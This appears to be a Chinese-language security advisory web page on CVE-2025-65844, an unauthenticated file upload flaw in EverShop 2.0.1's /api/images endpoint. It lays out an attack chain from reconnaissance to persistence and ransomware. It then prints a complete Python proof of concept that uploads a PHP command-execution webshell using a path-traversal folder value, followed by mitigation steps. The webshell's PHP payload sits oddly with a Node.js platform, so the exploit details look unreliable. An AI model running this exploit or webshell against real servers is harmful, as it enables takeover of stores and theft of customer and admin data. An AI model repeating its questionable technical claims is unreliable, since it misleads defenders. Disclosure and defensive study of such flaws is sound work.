IPBUF安全漏洞报告
English
CVE-2025-65844 CVSS 7.5 高危

CVE-2025-65844 EverShop 2.0.1 任意文件上传漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-65844
漏洞类型
任意文件上传
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EverShop 2.0.1

相关标签

任意文件上传远程代码执行EverShopCVE-2025-65844未授权访问WebShell高危漏洞电子商务平台

漏洞概述

EverShop是一款流行的开源电子商务框架,为商家提供完整的在线商城解决方案。CVE-2025-65844是EverShop 2.0.1版本中存在的一个严重安全漏洞,CVSS评分高达7.5分,属于高危级别。该漏洞允许远程未认证攻击者通过API接口上传任意文件到服务器,绕过正常的安全验证机制。由于/api/images端点默认无需任何认证即可访问,攻击者可以轻松利用这一漏洞上传恶意文件,包括WebShell脚本、后门程序等危险内容。此漏洞可被用于多种恶意目的:攻击者可以上传伪造的登录页面来窃取用户和管理员的凭证,进而获得系统后台访问权限;也可以通过持续上传大文件来耗尽服务器磁盘空间,导致服务 denial-of-service;更严重的是,攻击者可以直接在服务器上执行任意代码,完全接管服务器控制权。该漏洞影响所有未修复的EverShop 2.0.1实例,建议管理员立即采取紧急应对措施。

技术细节

EverShop 2.0.1的/api/images端点存在任意文件上传漏洞。漏洞的根本原因在于服务端对上传文件的验证机制不完善。攻击者可以通过构造恶意HTTP请求,将任意类型的文件上传到服务器指定目录。该API端点在设计时缺少了以下关键安全措施:首先,端点默认开放且无需任何身份认证,任何网络可达的用户都可以访问;其次,对上传文件的MIME类型检查不严格,仅依赖客户端提供的Content-Type头而非对文件内容进行实际验证;第三,未对上传文件的大小和数量进行合理限制;第四,文件保存路径可被攻击者控制或猜测,可能导致目录遍历;第五,缺少对文件名和扩展名的安全过滤,允许上传.php、.jsp、.asp等可执行脚本文件。攻击者利用此漏洞可以上传包含恶意PHP代码的WebShell文件,然后通过HTTP请求访问该文件,在服务器上执行任意系统命令,从而实现对服务器的完全控制。

攻击链分析

STEP 1
步骤1
信息收集阶段:攻击者识别目标网站使用的EverShop版本,确认版本为2.0.1
STEP 2
步骤2
访问未认证API端点:直接访问目标的/api/images端点,确认无需认证即可访问
STEP 3
步骤3
构造恶意请求:构造包含恶意PHP代码的HTTP POST请求,设置Content-Type为image类型以绕过初步检测
STEP 4
步骤4
上传WebShell:通过/api/images端点上传包含恶意代码的.php文件,利用路径遍历或默认上传目录
STEP 5
步骤5
获取服务器访问权限:通过HTTP请求访问上传的WebShell文件,在参数中执行系统命令
STEP 6
步骤6
持久化控制:安装后门程序、创建高权限账户或修改系统配置,实现长期控制
STEP 7
步骤7
数据窃取或破坏:窃取用户数据、管理员凭证、商业机密,或部署勒索软件

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-65844 PoC - EverShop 2.0.1 Arbitrary File Upload Author: Security Researcher """ import requests import sys import random import string def generate_random_string(length=8): """Generate random string for filename""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def upload_webshell(target_url, webshell_content=None): """ Upload malicious webshell to EverShop server """ if webshell_content is None: webshell_content = '''<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?> ''' endpoint = f"{target_url.rstrip('/')}/api/images" filename = f"{generate_random_string()}.php" files = { 'file': (filename, webshell_content, 'application/x-php') } data = { 'folder': '../../../public/uploads' # Path traversal attempt } print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell to {endpoint}") try: response = requests.post(endpoint, files=files, data=data, timeout=30) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] File uploaded successfully!") print(f"[+] Webshell location: {target_url}/uploads/{filename}") print(f"[+] Usage: {target_url}/uploads/{filename}?cmd=whoami") return True else: print("[-] Upload failed!") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2025-65844.py <target_url>") print("Example: python3 cve-2025-65844.py http://victim.com") sys.exit(1) target = sys.argv[1] upload_webshell(target) if __name__ == "__main__": main()

影响范围

EverShop 2.0.1

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 在Web服务器配置中禁止/api/images端点的外部访问,通过内部IP白名单限制;2) 配置Web应用防火墙规则,阻止.php、.jsp等可执行文件的上传;3) 临时禁用文件上传功能,直到完成安全更新;4) 加强对服务器文件系统的监控,及时发现异常文件创建行为;5) 限制服务器磁盘空间配额,防止恶意用户通过大量上传耗尽存储资源;6) 启用详细的访问日志记录,便于事后追踪和分析安全事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表